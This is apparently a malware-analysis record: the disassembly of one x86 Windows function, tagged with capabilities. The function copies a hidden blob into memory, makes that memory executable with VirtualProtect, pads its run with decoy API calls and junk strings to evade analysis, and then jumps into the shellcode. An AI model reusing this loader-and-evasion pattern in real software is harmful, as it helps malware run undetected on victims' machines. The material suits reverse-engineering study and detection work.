Function at 0x40161a
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x8002c8]
sub esp, 0xc40
push esi
push edi
cmp ecx, 0x93
je 0x4017e5
mov eax, dword [0x41a3d8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x8002cc], eax
push esi
mov dword [0x8002c8], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x18]
mov dword [0x7ffd54], eax
push ecx
push 0x40
push dword [0x8002c8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x401674
mov edx, dword [0x8002c8]
mov edi, esi
test edx, edx
je 0x401707
mov eax, dword [0x8002cc]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x7ffd54]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401702
push 0x4178cc
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
push str.pucerefatatulupuvoziwuvis_civodunuzariduw_sezehivoyaruseg
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.mucoruc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push str.gatijeduhiwuyawu_pihotigunukeyepajexogexinurazu
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov edx, dword [0x8002c8]
inc edi
cmp edi, edx
jb 0x401690
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x40174a
push str.xamijuko_yamarogemuzipadakab_lipakomutuwuhifafukep_nap_layihafidizidugo
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push str.yiwujevuhiraxaho
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x8002c8]
inc edi
cmp edi, 0x38681
jl 0x401709
push ecx
call fcn.004015d7
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x40176c
call fcn.004015fe
inc edi
cmp edi, 0x674db
jl 0x40175b
push 0x7b
pop edi
cmp dword [0x8002c8], 0x86
jne 0x4017b2
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x40]
push eax
push str.vavexaxuxicamizewu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc40]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x8002c8], 0xf
jne 0x4017c5
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
dec edi
jne 0x401778
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x7ffd54]
mov dword [0x8002bc], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.sugimif_yiv_xuwiyazereramusihikefukerijoca
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push str.Lot_dumudumuvayafug_ziruvinigitu_jinebacunawaguhekegunexoj_pagozajunawuwiyusodehagikuy
xor esi, esi
xor eax, eax
push esi
push esi
push esi
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x417804
push esi
call fcn.004036ac
push esi
call fcn.00403a78
push esi
call fcn.00402a16
add esp, 0x10
lea ecx, [ebp - 0x24]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x24]
call fcn.004010bb
push esi
call fcn.00403ae4
pop ecx
call fcn.004029d3
int3